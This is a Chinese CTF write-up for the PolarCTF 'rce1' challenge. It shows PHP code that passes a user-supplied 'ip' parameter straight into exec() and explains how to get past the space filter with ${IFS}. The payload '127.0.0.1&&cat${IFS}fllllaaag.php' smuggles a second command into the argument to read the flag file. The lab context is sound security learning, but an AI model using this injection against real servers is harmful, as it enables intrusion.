【PolarCTF】rce1

复制代码
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/ /", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

关键点在这

复制代码
 $cmd = "ping -c 4 {$ip}";
 exec($cmd, $res);

但是需要绕过

复制代码
if (!preg_match_all("/ /", $ip, $m))

preg_match_all会匹配$ip中的所有空格并存入到$m中,如果匹配成功即为True,但是前面有一个!,那么就会返回假

所以我们需要绕过空格过滤,成功执行

复制代码
cat /flag.txt

先尝试ls命令,得到flag的文件名

可知flag的文件为

复制代码
fllllaaag.php

通过${IFS}来代替空格

复制代码
127.0.0.1&&cat${IFS}fllllaaag.php

这里作者耍了个小心机,页面显示的是?,实际flag要在网页源代码中才能看到

相关推荐
Draina2 小时前
CBC填充预言攻击-CBC Padding Oracle Crypto Attack
python·安全·web安全·网络安全·密码学·安全性测试
国际云,接待13 小时前
Google Cloud Armor实战:给网站API加WAF、限速和日志验证
后端·网络安全·云计算·googlecloud
Demons_kirit1 天前
实验:文件路径遍历,简单情况(Lab: File path traversal, simple case)
网络安全
sbjdhjd1 天前
SQL 注入零基础详解:原理、手工注入流程与 Sqli-Labs 靶场实战1~5关和第9关思路
数据库·sql·计算机网络·web安全·网络安全·网络攻击模型·安全架构
学习溢出1 天前
【网络安全】Living off the Land 攻击 | 蓝队防守
安全·web安全·网络安全
学逆向的1 天前
汇编——寻址方式
开发语言·汇编·网络安全
上海云盾-高防顾问2 天前
SD-WAN 跨境加速,真实日常使用体验
网络·网络安全
中北marry2 天前
玄机靶场wp 应急响应-webshell查杀
网络安全
爱网络爱Linux3 天前
HCIA-Security(1)网络安全常见的威胁
web安全·网络安全·hcia-security·hcia安全·华为网络安全·网络安全常见的威胁
我不是QI3 天前
一、主持人信息(域名 网站资产情报搜集)原理解析
安全·网络安全